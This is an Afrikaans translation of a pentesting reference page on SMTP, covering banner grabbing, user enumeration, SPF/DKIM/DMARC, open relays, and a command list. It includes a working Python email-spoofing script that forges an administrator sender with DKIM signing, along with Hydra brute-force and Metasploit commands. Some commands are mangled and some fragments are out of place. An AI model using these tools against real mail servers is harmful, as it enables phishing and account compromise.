Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat pop, en pret te hê.
Die Simple Mail Transfer Protocol (SMTP) is 'n protokol wat binne die TCP/IP-reeks gebruik word vir die stuur en ontvang van e-pos. As gevolg van sy beperkings in die toustaan van boodskappe aan die ontvanger se kant, word SMTP dikwels saam met POP3 of IMAP gebruik. Hierdie bykomende protokolle stel gebruikers in staat om boodskappe op 'n bedienerposbus te stoor en hulle periodiek af te laai.
In die praktyk is dit algemeen vir e-posprogramme om SMTP te gebruik vir die stuur van e-posse, terwyl hulle POP3 of IMAP gebruik vir die ontvang daarvan. Op Unix-gebaseerde stelsels, steek sendmail uit as die SMTP-bedienaar wat meesal vir e-posdoeleindes gebruik word. Die kommersiële pakket bekend as Sendmail sluit 'n POP3-bedienaar in. Verder bied Microsoft Exchange 'n SMTP-bedienaar en bied die opsie om POP3-ondersteuning in te sluit.
Verstekpoort: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
E-POS Koppe
Indien jy die geleentheid het om die slagoffer 'n e-pos te laat stuur (byvoorbeeld via die kontakvorm van die webwerf), doen dit omdat jy meer kan leer oor die interne topologie van die slagoffer deur na die koppe van die e-pos te kyk.
Jy kan ook 'n e-pos van 'n SMTP-bediener kry wat probeer om 'n e-pos aan daardie bediener te stuur na 'n nie-bestaande adres (omdat die bediener 'n NDN-e-pos aan die aanvaller sal stuur). Maar, maak seker dat jy die e-pos vanaf 'n toegelate adres stuur (kontroleer die SPF-beleid) en dat jy NDN-boodskappe kan ontvang.
Jy moet ook probeer om verskillende inhoud te stuur omdat jy meer interessante inligting kan vind in die koppe soos: X-Virus-Scanned: by av.domain.com
Jy moet die EICAR toetslêer stuur.
Die opsporing van die AV mag jou in staat stel om bekende kwesbaarhede uit te buit.
Basiese aksies
Banner Grabbing/ Basiese verbinding
SMTP:
nc-vn<IP>25
SMTPS:
openssls_client-crlf-connectsmtp.mailgun.org:465#SSL/TLS without starttls commandopenssls_client-starttlssmtp-crlf-connectsmtp.mailgun.org:587
Of outomatiseer dit met nmap invoegtoepassing smtp-ntlm-info.nse
Interne bedienernaam - Inligtingsoortdringing
Sommige SMTP-bedieners vul outomaties 'n afsender se adres aan wanneer die opdrag "MAIL FROM" uitgereik word sonder 'n volledige adres, wat sy interne naam openbaar maak:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Bespeur
Kyk of jy 'n wagwoord van die pakkies na poort 25 kan bespeur
VRFY is 'n SMTP-bevel wat gebruik kan word om te bevestig of 'n spesifieke e-posadres geldig is op die bedienaar. Dit kan deur aanvallers misbruik word om geldige e-posadresse te oes vir doeleindes soos phising of spam. Dit word aanbeveel om die VRFY-bevel te deaktiveer om die veiligheid van die e-posbedienaar te verhoog.
Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering en pentesting. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat spat, en pret te hê.
Afleweringsstatuskennisgewingsrapporte: As jy 'n e-pos na 'n organisasie stuur na 'n ongeldige adres, sal die organisasie jou in kennis stel dat die adres ongeldig was deur 'n e-pos terug te stuur. Koppe van die teruggekeerde e-pos sal moontlike sensitiewe inligting bevat (soos IP-adres van die e-posdiens wat met die rapporte geïnteraksioneer het of inligting oor antivirusagteware).
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## SMTP Smuggling
SMTP Smuggling-kwesbaarheid het dit moontlik gemaak om alle SMTP-beskermingsmaatreëls te omseil (kyk na die volgende afdeling vir meer inligting oor beskermings). Vir meer inligting oor SMTP Smuggling kyk:
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
</div>
## E-posvervalsing Teenmaatreëls
Organisasies word verhoed om ongemagtigde e-posse namens hulle te stuur deur **SPF**, **DKIM**, en **DMARC** te gebruik as gevolg van die maklikheid van die vervalsing van SMTP-boodskappe.
'n **Volledige gids vir hierdie teenmaatreëls** is beskikbaar by [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
<div data-gb-custom-block data-tag="hint" data-style='danger'>
SPF is in 2014 "verouderd" geraak. Dit beteken dat jy in plaas van 'n **TXT-rekord** in `_spf.domain.com` dit in `domain.com` moet skep met dieselfde sintaksis.\
Verder, om vorige spf-rekords te hergebruik, is dit baie algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind.
</div>
**Sender Policy Framework** (SPF) is 'n meganisme wat E-posoorplasingsagente (MTA's) in staat stel om te verifieer of 'n gas wat 'n e-pos stuur, gemagtig is deur 'n lys van gemagtigde posdiensverskaffers wat deur die organisasies gedefinieer is, te ondervra. Hierdie lys, wat IP-adresse/reeks, domeine, en ander entiteite **wat gemagtig is om e-pos namens 'n domeinnaam te stuur**, sluit verskeie "**Meganismes**" in die SPF-rekord in.
#### Meganismes
Vanaf [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Meganisme | Beskrywing |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALLES | Pas altyd; gebruik vir 'n verstekresultaat soos `-all` vir alle IP-adresse wat nie deur vorige meganismes gekoppel word nie. |
| A | As die domeinnaam 'n adresrekord (A of AAAA) het wat na die afzender se adres opgelos kan word, sal dit pas. |
| IP4 | As die afzender in 'n gegewe IPv4-adresreeks is, pas dit. |
| IP6 | As die afzender in 'n gegewe IPv6-adresreeks is, pas dit. |
| MX | As die domeinnaam 'n MX-rekord het wat na die afzender se adres oplos, sal dit pas (m.a.w. die e-pos kom van een van die domein se inkomende posdiensverskaffers). |
| PTR | As die domeinnaam (PTR-rekord) vir die klient se adres in die gegewe domein is en daardie domeinnaam na die klient se adres oplos (voorwaartse-bevestigde omgekeerde DNS), pas dit. Hierdie meganisme word afgeraad en moet vermy word, indien moontlik. |
| BESTAAN | As die gegewe domeinnaam na enige adres oplos, pas dit (maak nie saak na watter adres dit oplos nie). Dit word selde gebruik. Tesame met die SPF-makrotaal bied dit meer komplekse koppeling soos DNSBL-navrae. |
| INSLOOT | Verwys na die beleid van 'n ander domein. As daardie domein se beleid slaag, slaag hierdie meganisme. Indien die ingeslote beleid egter misluk, word die verwerking voortgesit. Om ten volle na 'n ander domein se beleid te delegeer, moet die omskakelinguitbreiding gebruik word. |
| HERLEI | <p>'n Herleiing is 'n aanwyser na 'n ander domeinnaam wat 'n SPF-beleid huisves, dit maak dit moontlik vir verskeie domeine om dieselfde SPF-beleid te deel. Dit is nuttig wanneer daar met 'n groot hoeveelheid domeine gewerk word wat dieselfde e-posinfrastruktuur deel.</p><p>Die SPF-beleid van die domein wat in die herleimeganisme aangedui word, sal gebruik word.</p> |
Dit is ook moontlik om **Kwalifiseerders** te identifiseer wat aandui **wat gedoen moet word as 'n meganisme gekoppel word**. Standaard word die **kwalifiseerder "+"** gebruik (dus as enige meganisme gekoppel word, beteken dit dit is toegelaat).\
Gewoonlik sal jy **aan die einde van elke SPF-beleid** iets soos: **\~all** of **-all** opmerk. Dit word gebruik om aan te dui dat **as die afzender nie met enige SPF-beleid ooreenstem nie, jy die e-pos as onbetroubaar (\~) moet merk of die e-pos moet verwerp (-)**.
#### Kwalifiseerders
Elke meganisme binne die beleid kan voorafgegaan word deur een van vier kwalifiseerders om die bedoelde resultaat te definieer:
* **`+`**: Stem ooreen met 'n PAS-resultaat. Standaard aanvaar meganismes hierdie kwalifiseerder, wat `+mx` gelykstaande maak aan `mx`.
* **`?`**: Verteenwoordig 'n NEUTRALE resultaat, wat soortgelyk behandel word as GEEN (geen spesifieke beleid).
* **`~`**: Dui SOFTFAIL aan, as 'n middelgrond tussen NEUTRAAL en MISLUK. E-posse wat aan hierdie resultaat voldoen, word tipies aanvaar maar dienooreenkomstig gemerk.
* **`-`**: Dui MISLUK aan, wat aandui dat die e-pos heeltemal verwerp moet word.
In die naderende voorbeeld word die **SPF-beleid van google.com** geïllustreer. Let op die insluiting van SPF-beleide van verskillende domeine binne die eerste SPF-beleid:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Tradisioneel was dit moontlik om enige domeinnaam te vervals wat nie 'n korrekte/geen SPF-rekord het nie. Vandag, as 'n e-pos afkomstig is van 'n domein sonder 'n geldige SPF-rekord sal dit waarskynlik outomaties as onbetroubaar verwerp gemerk word.
DKIM word gebruik om uitgaande e-posse te onderteken, wat hul validasie deur eksterne Mail Transfer Agents (MTAs) moontlik maak deur die ophaling van die publieke sleutel van die domein uit DNS. Hierdie publieke sleutel word gevind in 'n domein se TXT-rekord. Om toegang tot hierdie sleutel te verkry, moet 'n persoon beide die kieser en die domeinnaam ken.
Byvoorbeeld, om die sleutel aan te vra, is die domeinnaam en kieser noodsaaklik. Hierdie kan gevind word in die e-poskop DKIM-Signature, bv., d=gmail.com;s=20120113.
'n Opdrag om hierdie inligting op te haal kan lyk soos:
dig20120113._domainkey.gmail.comTXT|grepp=# This command would return something like:20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC verbeter e-possekuriteit deur voort te bou op SPF en DKIM-protokolle. Dit skets beleide wat posbedieners lei in die hantering van e-posse van 'n spesifieke domein, insluitend hoe om te werk met verifikasie-mislukkings en waar om verslae oor e-posverwerkingaksies heen te stuur.
Om die DMARC-rekord te verkry, moet jy die subdomein _dmarc navraag doen
Vanhier.
Jy moet afsonderlike SPF-rekords hê vir elke subdomein waarvandaan jy e-pos wil stuur.
Die volgende is oorspronklik geplaas op openspf.org, wat 'n goeie bron was vir hierdie soort dinge.
Die Duiwelvraag: Wat van subdomeine?
As ek e-pos kry van pielovers.demon.co.uk, en daar is geen SPF-data vir pielovers nie, moet ek teruggaan na die volgende vlak en SPF vir demon.co.uk toets? Nee. Elke subdomein by Demon is 'n ander kliënt, en elke kliënt kan sy eie beleid hê. Dit sou nie sin maak vir Demon se beleid om per verstek op al sy kliënte van toepassing te wees nie; as Demon dit wil doen, kan dit SPF-rekords opstel vir elke subdomein.
Dus is die advies aan SPF-uitgewers as volg: jy moet 'n SPF-rekord byvoeg vir elke subdomein of gasheernaam wat 'n A- of MX-rekord het.
Webwerwe met wildkaart A- of MX-rekords moet ook 'n wildkaart SPF-rekord hê, van die vorm: * IN TXT "v=spf1 -all"
Dit maak sin - 'n subdomein kan heel moontlik in 'n ander geografiese ligging wees en 'n baie ander SPF-definisie hê.
Oop Relais
Wanneer e-posse gestuur word, is dit van kritieke belang om te verseker dat hulle nie as spam geïdentifiseer word nie. Dit word dikwels bereik deur die gebruik van 'n relaisbediener wat vertrou word deur die ontvanger. 'n Algemene uitdaging is egter dat administrateurs dalk nie ten volle bewus is van watter IP-reeks veilig is om toe te laat nie. Hierdie gebrek aan begrip kan lei tot foute in die opstel van die SMTP-bedieners, 'n risiko wat gereeld geïdentifiseer word in sekuriteitsassesserings.
'N Oorkomingsmetode wat sommige administrateurs gebruik om e-posleweringprobleme te vermy, veral met betrekking tot kommunikasie met potensiële of lopende kliënte, is om verbindings van enige IP-adres toe te laat. Dit word gedoen deur die mynetworks-parameter van die SMTP-bediener te konfigureer om alle IP-adresse te aanvaar, soos hieronder weergegee:
mynetworks=0.0.0.0/0
Vir die kontrolering of 'n e-posbediener 'n oop relê is (wat beteken dat dit e-pos van enige eksterne bron kan deurstuur), word die nmap-werktuig gewoonlik gebruik. Dit sluit 'n spesifieke skrips in wat ontwerp is om dit te toets. Die bevel om 'n uitvoerige skandering op 'n bediener uit te voer (byvoorbeeld met IP 10.10.10.10) op poort 25 met behulp van nmap is:
# This will send a test email from test@victim.com to destination@gmail.compython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com# But you can also modify more options of the emailpython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com--subjectTEST--senderadministrator@victim.com
Indien jy enige fout kry met die dkim Python-biblioteek tydens die ontleding van die sleutel, voel vry om die volgende een te gebruik.
NOTA: Dit is net 'n vinnige oplossing om vinnige kontroles te doen in gevalle waar die openssl privaatsleutel nie deur dkim ontled kan word nie.
# Dit sal 'n ondertekende boodskap stuurmail("jou_email@gmail.com", "Toets onderwerp!", "hallo! Dit is 'n toets", "Van: administrator@slagoffer.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
Gewoonlik bevat, indien geïnstalleer, in /etc/postfix/master.cfskripte om uit te voer wanneer byvoorbeeld 'n nuwe e-pos deur 'n gebruiker ontvang word. Byvoorbeeld die lyn flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} beteken dat /etc/postfix/filtering uitgevoer sal word as 'n nuwe e-pos deur die gebruiker mark ontvang word.
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering en pentesting. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle tyd te gee om dieper te delf, skulpe te laat pop en pret te hê.
